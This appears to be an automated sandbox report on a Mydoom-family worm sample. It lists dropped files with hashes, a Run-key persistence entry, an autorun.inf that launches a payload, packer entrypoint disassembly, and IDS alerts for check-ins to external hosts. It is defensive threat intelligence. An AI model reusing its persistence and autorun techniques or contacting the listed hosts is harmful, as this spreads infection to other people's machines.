Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:24:03	API Interceptor	38x Sleep call for process: ydbWyoxHsd.exe modified
22:24:06	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run ctfmen C:\Windows\system32\ctfmen.exe
22:24:09	API Interceptor	817x Sleep call for process: smnss.exe modified

Joe Sandbox View / Context

Created / dropped Files

C:\Windows\SysWOW64\ctfmen.exe

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4160
Entropy (8bit):	6.507586234664823
Encrypted:	false
SSDEEP:	96:LmIdSLQPZARC3dCE8Y0Jw5NL6EVwHHKg2:KswdRCNCE8YPWowHHK7
MD5:	A05ECF5306E42A6E4C278711BA738C04
SHA1:	C5EC80822904FA1BDCB900F698D4ED1D80CCB28B
SHA-256:	080643EEE2486948A34A4A20A4CBEE012DB223B1ED123B39F05D000F1171E2AE
SHA-512:	CC91E1CA458C1B8CA0E5A011C7169838D6090A6FA66DA8F46CA2C276BC0FA3EFE2C987496BB4C663003BEC54FD1DE47CDBFDCFF275C866DCF2C42B60038E2AC1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@.......................................................................................................PE..L......................8.........`.......p........@........................................... .....................................................................................................................................................40i1uisr.`..............................4g81zwiq.....p......................@...44d2yfna@.......@...................@...........!....U6..72.*S..........&.......U.....]..E.1.u...1..=....w....C=..r[.....$.1.T$>...........tz..t............FQ..]..I....~t.wJ=.....=.. ?..[=..u.c...t.Y3j..c.=.,.?.o..u...D/....v...s......JS...3[..D0(R.c.07W,e.SL.. Fm..p........'OS~.{.P$-..@.$t.,...k...E.-.D... .l.$s@@T...........d4....d...w..-...Q.....G...t. .k......@0.Q9,+....#.t(P.~......7$i....}.......l.....g...I....".&.m..X\|...7,d.;....o.O........L....!..&?.... .\|.s.%]..t&....]..?]i.\|...U...p.S..M.........8.t.B....r..9...:.

C:\Windows\SysWOW64\grcopy.dll

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	246247
Entropy (8bit):	6.945140573592567
Encrypted:	false
SSDEEP:	1536:wq5VwWDjDkdTRqHFOn8tIbbeYiuZIFS9bB:wq5ud9qHFO8Kf3rIIbB
MD5:	762B8CDF27C571BCA2BD64BE8B92E9EB
SHA1:	68C571DA507B6F0D45F4418E5AFFECCA1F70A9DA
SHA-256:	57F399E490DC351C7A055C8059A5CCBC3F0C5ABEC62017775BFAC0C1255D0ABF
SHA-512:	1A8492C9E4F836C9AA5277ED1CEA9B9BE1F121C1F1A22BC685B43ED3CE72C3B7AE659E9D094D9A0559C3DC5EBBDA2B23F572534DA86BDA25EDFDDABA968574E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................d502pjly.0..............................4486vhtf.....@......................@...4579jgyi@.......@...................@.......................................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\grcopy.dll:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\satornas.dll

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	Microsoft Windows Autorun file
Category:	modified
Size (bytes):	183
Entropy (8bit):	4.9592890175651645
Encrypted:	false
SSDEEP:	3:It1WN0LvLHwcy/9RfyCtxWaFkjIjm5fHq4xm5fYTVuTScJ1/Qfn:e1W+TEKCtxWaFiIS5fnU58uDHg
MD5:	B6D4B04D420FE50B5E48C0416AF66AEA
SHA1:	DDFB21509ACA6A14FD35A2184DE2BECD476E12D7
SHA-256:	9A81EEF7C5174AEEEEC0D985236B5AC20B26C35BF4B7F410BB4464B389BD8305
SHA-512:	2B333D111A0834F32C38AF644197F6C223D3C4EC18BC82503955C85966EE5B4ACA6A33BB152F2AD014B58A8F23FF1533B834BA55D6B2AB8FD89B4C1763A78735
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	[autorun]..shellexecute=v791uuqp.exe..icon=%SystemRoot%\system32\SHELL32.dll,4..action=Open folder to view files..shell\default=Open..shell\default\command=v791uuqp.exe..shell=default

C:\Windows\SysWOW64\shervans.dll

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	6.969415045274115
Encrypted:	false
SSDEEP:	192:wh4SFyvWohE5xf6YUBSL63SUJqtMblWN:wO+ohE2B13NJqtM
MD5:	3888C1774CE9B394795DF989597AF541
SHA1:	9CD7E2E1D2AD8CC775D212F69494720C7A4582EE
SHA-256:	13E21A594F2B26C4C400DD5B6C281AD2C124DE8EF973526DA6205D4E5FBD0BBA
SHA-512:	3B7EDC04E0E7D0BB8F38D1D0AFB22344826EA0BD2454F88CEA7601AD73113BA024D157E35DF9E901601AE74C983B3576461F81D4B92CBCF0F23DA06759E3E38F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......K...........#...8. ..........p......................................................... .....................`...`.......`...................................................................................................................f619leop................................4438qdln. ..........................@...449azbar............................@...........!...............U....@..&.......U..S.......P...t?........'.........9.r.....t...'.....s.t&...$..$.1....$....6..X[]._V`..u......m.tG.t$lE_D$.....=[......"....1..........uG..4....uF1..e.[^]...A..f...!.+.o...y....!.. .......o.......8./;.of.p.v..U...}o...........O$.......O/.mX....].....[:..M.....=.D.T..Xs..[.4W<s/{.Gq.%...w+\|7.]..u.~&]."..{d$.....p..X... ..>...............l....#.J...6..F.W...}W.].C.t..~4...\e.....<......@.7w.}....!..)...3.......e._V ...A.].s.N..kn...CU...

C:\Windows\SysWOW64\smnss.exe

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	246247
Entropy (8bit):	6.945140573592567
Encrypted:	false
SSDEEP:	1536:wq5VwWDjDkdTRqHFOn8tIbbeYiuZIFS9bB:wq5ud9qHFO8Kf3rIIbB
MD5:	762B8CDF27C571BCA2BD64BE8B92E9EB
SHA1:	68C571DA507B6F0D45F4418E5AFFECCA1F70A9DA
SHA-256:	57F399E490DC351C7A055C8059A5CCBC3F0C5ABEC62017775BFAC0C1255D0ABF
SHA-512:	1A8492C9E4F836C9AA5277ED1CEA9B9BE1F121C1F1A22BC685B43ED3CE72C3B7AE659E9D094D9A0559C3DC5EBBDA2B23F572534DA86BDA25EDFDDABA968574E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................d502pjly.0..............................4486vhtf.....@......................@...4579jgyi@.......@...................@.......................................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\smnss.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\ydbWyoxHsd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\zipfi.dll

Download File

Process:	C:\Windows\SysWOW64\smnss.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	246365
Entropy (8bit):	6.944747400295044
Encrypted:	false
SSDEEP:	1536:Jq5VwWDjDkdTRqHFOn8tIbbeYiuZIFS9bI:Jq5ud9qHFO8Kf3rIIbI
MD5:	90AD480D69F961DB971CFA94C92F0E5F
SHA1:	CB2C77D26EE0874BE0E047168FA3AA4E75189D3E
SHA-256:	AB4D7C59298432189345AA6EB5444CE402D717E458140A60BCEA4429C2B7809A
SHA-512:	856EAFDE0D160083B0BDF2E30F83FE0FF6F161FC1430BACCCCF4C3A15EBC0403043F02F54525630264EAF76AAD9B41B59B5CBE3A510C2418D15712B8B30CB691
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	PK.........3h1.sn.............Readme.exeMZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................d502pjly.0..............................4486vhtf.....@......................@...4579jgyi@.......@...................@.......................................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\zipfiaq.dll

Download File

Process:	C:\Windows\SysWOW64\smnss.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	246361
Entropy (8bit):	6.944769535221765
Encrypted:	false
SSDEEP:	1536:Cq5VwWDjDkdTRqHFOn8tIbbeYiuZIFS9br:Cq5ud9qHFO8Kf3rIIbr
MD5:	766758310EA39FE558D96C5C515F3A85
SHA1:	C3AC2443B24DEDEF89E38BE4A58D731483B49E9F
SHA-256:	8902374D0D5F95A71D1C8EA22D8D650D613C41B8FC09F9A93FE55E15C9F8ACCC
SHA-512:	3DC70058D96D06D5DA3DDAFE783D09358EF85654FA0708FBBC52A7C8738E412783A9780F21DEDC522AA649403B991C2E42A4E8675F5B5E1FA835AC99DDB9A611
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	PK.........3h1.sn.............foto.pifMZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................d502pjly.0..............................4486vhtf.....@......................@...4579jgyi@.......@...................@.......................................@..@..........................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.945161475025169
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	ydbWyoxHsd.exe
File size:	246247
MD5:	b4e4d26c168cc3e38b3e7177fbedb52d
SHA1:	4c96953a4d02c14ac57bcdf726c41f60e9a4d4ad
SHA256:	d8d057d22ae990a5ba7b35e1320d87f95e952860db0cf013911420e43db6d127
SHA512:	e13a4153dc9e964daeae08d4b5c424577b6e09c287f035fc5c8dcf122be3ffedcfa01a47afb65318404336f8eac6538f287a234334de8db88a0646fbffdbbfa6
SSDEEP:	1536:xq5VwWDjDkdTRqHFOn8tIbbeYiuZIFS9bB:xq5ud9qHFO8Kf3rIIbB
TLSH:	C034D890B007E675E7018D39C416AD9ADAB82DE3E7B954F3F869B1E2F6723D52090C0D
File Content Preview:	MZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... ............................

File Icon


Icon Hash:	c6d2f2c2cec2c2e2

Static PE Info

General

Entrypoint:	0x41d990
Entrypoint Section:	33l5rbkz
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	516ac027f1c3c7a86cc636d666c6f3e2

Entrypoint Preview

Instruction
pushad
mov esi, 00414015h
lea edi, dword ptr [esi-00013015h]
push edi
jmp 00007F8080C08A7Dh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F8080C08A79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F8080C08A5Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F8080C08A79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F8080C08A61h
jne 00007F8080C08A7Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F8080C08A56h
xor ecx, ecx
sub eax, 03h
jc 00007F8080C08A7Fh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F8080C08AE6h
mov ebp, eax
add ebx, ebx
jne 00007F8080C08A79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F8080C08A79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F8080C08A92h
inc ecx
add ebx, ebx
jne 00007F8080C08A79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F8080C08A61h
jne 00007F8080C08A7Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F8080C08A56h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F8080C08A81h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F8080C08A69h
jmp 00007F8080C089D8h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 04h
jnbe 00007F8080C08A63h
add edi, ecx
jmp 00007F8080C189C1h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e510	0x1e8	33zlgyyc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f000	0x600
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
w3v2xlne	0x1000	0x13000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
33l5rbkz	0x14000	0xa000	0x9c00	False	0.9779146634615384	data	7.883560145842604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
33zlgyyc	0x1e000	0x840	0x840	False	0.31013257575757575	data	3.6219073001222037	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1f000	0x600	0x600	False	0.19010416666666666	data	2.527431417772713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1f0d8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States
RT_ICON	0x1f3c0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States
RT_GROUP_ICON	0x1f4e8	0x22	data	English	United States

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.DLL	RegCloseKey
DNSAPI.DLL	DnsQuery_A
msvcrt.dll	_iob
USER32.dll	wsprintfA
WININET.DLL	InternetGetConnectedState
WS2_32.DLL	recv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5107.6.74.7649691802807186 11/07/22-22:24:11.315763	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49691	80	192.168.2.5	107.6.74.76
192.168.2.5107.6.74.7649691802807187 11/07/22-22:24:11.315763	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49691	80	192.168.2.5	107.6.74.76
192.168.2.564.70.19.20349829802807187 11/07/22-22:24:51.062591	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49829	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349829802807186 11/07/22-22:24:51.062591	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49829	80	192.168.2.5	64.70.19.203
192.168.2.581.17.18.19449953802807186 11/07/22-22:25:49.155063	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49953	80	192.168.2.5	81.17.18.194
192.168.2.581.17.29.14649825802807187 11/07/22-22:24:50.299946	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49825	80	192.168.2.5	81.17.29.146
192.168.2.581.17.18.19449953802807187 11/07/22-22:25:49.155063	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49953	80	192.168.2.5	81.17.18.194
192.168.2.581.17.29.14649825802807186 11/07/22-22:24:50.299946	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49825	80	192.168.2.5	81.17.29.146
173.231.189.15192.168.2.580496922037771 11/07/22-22:24:12.121311	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49692	173.231.189.15	192.168.2.5
192.168.2.5173.231.184.12449695802807187 11/07/22-22:24:13.706261	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49695	80	192.168.2.5	173.231.184.124
173.231.184.124192.168.2.580496952037771 11/07/22-22:24:13.828754	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49695	173.231.184.124	192.168.2.5
192.168.2.564.70.19.20349940802807187 11/07/22-22:25:46.017949	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49940	80	192.168.2.5	64.70.19.203
192.168.2.5173.231.184.12449695802807186 11/07/22-22:24:13.706261	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49695	80	192.168.2.5	173.231.184.124
192.168.2.564.70.19.20349729802807187 11/07/22-22:24:24.010414	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49729	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349940802807186 11/07/22-22:25:46.017949	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49940	80	192.168.2.5	64.70.19.203
192.168.2.581.17.29.15049794802807186 11/07/22-22:24:42.927958	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49794	80	192.168.2.5	81.17.29.150
192.168.2.564.70.19.20349729802807186 11/07/22-22:24:24.010414	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49729	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349997802807186 11/07/22-22:26:05.403504	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49997	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349997802807187 11/07/22-22:26:05.403504	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49997	80	192.168.2.5	64.70.19.203
192.168.2.563.251.126.1049770802807186 11/07/22-22:24:35.068063	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49770	80	192.168.2.5	63.251.126.10
192.168.2.563.251.126.1049770802807187 11/07/22-22:24:35.068063	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49770	80	192.168.2.5	63.251.126.10
192.168.2.563.141.242.4349810802807187 11/07/22-22:24:48.781627	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49810	80	192.168.2.5	63.141.242.43
192.168.2.564.70.19.20349950802807186 11/07/22-22:25:48.870000	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49950	80	192.168.2.5	64.70.19.203
192.168.2.563.141.242.4349810802807186 11/07/22-22:24:48.781627	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49810	80	192.168.2.5	63.141.242.43
192.168.2.581.17.18.19649801802807187 11/07/22-22:24:44.912474	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49801	80	192.168.2.5	81.17.18.196
192.168.2.581.17.18.19649801802807186 11/07/22-22:24:44.912474	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49801	80	192.168.2.5	81.17.18.196
192.168.2.564.70.19.20349950802807187 11/07/22-22:25:48.870000	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49950	80	192.168.2.5	64.70.19.203
192.168.2.5199.59.243.22249880802807187 11/07/22-22:25:14.099545	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49880	80	192.168.2.5	199.59.243.222
192.168.2.581.17.29.14749816802807187 11/07/22-22:24:49.379903	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49816	80	192.168.2.5	81.17.29.147
192.168.2.5199.59.243.22249880802807186 11/07/22-22:25:14.099545	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49880	80	192.168.2.5	199.59.243.222
192.168.2.564.70.19.20349973802807187 11/07/22-22:25:53.134213	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49973	80	192.168.2.5	64.70.19.203
192.168.2.581.17.29.14749816802807186 11/07/22-22:24:49.379903	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49816	80	192.168.2.5	81.17.29.147
192.168.2.564.70.19.20349973802807186 11/07/22-22:25:53.134213	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49973	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349938802807187 11/07/22-22:25:45.367923	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49938	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349748802807187 11/07/22-22:24:29.470557	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49748	80	192.168.2.5	64.70.19.203
192.168.2.581.17.29.15049794802807187 11/07/22-22:24:42.927958	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49794	80	192.168.2.5	81.17.29.150
192.168.2.564.70.19.20349748802807186 11/07/22-22:24:29.470557	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49748	80	192.168.2.5	64.70.19.203
192.168.2.563.141.242.4449923802807187 11/07/22-22:25:42.714480	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49923	80	192.168.2.5	63.141.242.44
192.168.2.563.141.242.4449923802807186 11/07/22-22:25:42.714480	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49923	80	192.168.2.5	63.141.242.44
192.168.2.564.70.19.20349938802807186 11/07/22-22:25:45.367923	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49938	80	192.168.2.5	64.70.19.203
192.168.2.5173.231.189.1549692802807186 11/07/22-22:24:11.998907	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49692	80	192.168.2.5	173.231.189.15
192.168.2.5173.231.189.1549692802807187 11/07/22-22:24:11.998907	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49692	80	192.168.2.5	173.231.189.15
63.251.126.10192.168.2.580497702037771 11/07/22-22:24:35.481298	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49770	63.251.126.10	192.168.2.5
72.251.233.245192.168.2.580496902037771 11/07/22-22:24:10.642810	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49690	72.251.233.245	192.168.2.5
192.168.2.572.251.233.24549690802807187 11/07/22-22:24:10.381621	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49690	80	192.168.2.5	72.251.233.245
192.168.2.572.251.233.24549690802807186 11/07/22-22:24:10.381621	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49690	80	192.168.2.5	72.251.233.245
192.168.2.564.70.19.20350022802807186 11/07/22-22:26:09.103352	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50022	80	192.168.2.5	64.70.19.203
107.6.74.76192.168.2.580496912037771 11/07/22-22:24:11.576329	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49691	107.6.74.76	192.168.2.5
192.168.2.5199.21.76.8149693802807187 11/07/22-22:24:12.584253	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49693	80	192.168.2.5	199.21.76.81
192.168.2.564.70.19.20350022802807187 11/07/22-22:26:09.103352	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50022	80	192.168.2.5	64.70.19.203
192.168.2.581.17.18.19849949802807186 11/07/22-22:25:47.786122	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49949	80	192.168.2.5	81.17.18.198
192.168.2.581.17.18.19849949802807187 11/07/22-22:25:47.786122	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49949	80	192.168.2.5	81.17.18.198
192.168.2.564.70.19.20349746802807186 11/07/22-22:24:28.467022	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49746	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349746802807187 11/07/22-22:24:28.467022	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49746	80	192.168.2.5	64.70.19.203
199.21.76.81192.168.2.580496932037771 11/07/22-22:24:12.755721	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49693	199.21.76.81	192.168.2.5
192.168.2.5199.59.243.22249847802807186 11/07/22-22:24:52.200449	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49847	80	192.168.2.5	199.59.243.222
192.168.2.5199.59.243.22249847802807187 11/07/22-22:24:52.200449	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49847	80	192.168.2.5	199.59.243.222
192.168.2.5199.21.76.8149693802807186 11/07/22-22:24:12.584253	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49693	80	192.168.2.5	199.21.76.81
192.168.2.564.70.19.20349740802807187 11/07/22-22:24:25.834895	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49740	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349740802807186 11/07/22-22:24:25.834895	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49740	80	192.168.2.5	64.70.19.203

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2022 22:24:10.102164030 CET	49690	80	192.168.2.5	72.251.233.245
Nov 7, 2022 22:24:10.362729073 CET	80	49690	72.251.233.245	192.168.2.5
Nov 7, 2022 22:24:10.362966061 CET	49690	80	192.168.2.5	72.251.233.245
Nov 7, 2022 22:24:10.381620884 CET	49690	80	192.168.2.5	72.251.233.245
Nov 7, 2022 22:24:10.642267942 CET	80	49690	72.251.233.245	192.168.2.5
Nov 7, 2022 22:24:10.642810106 CET	80	49690	72.251.233.245	192.168.2.5
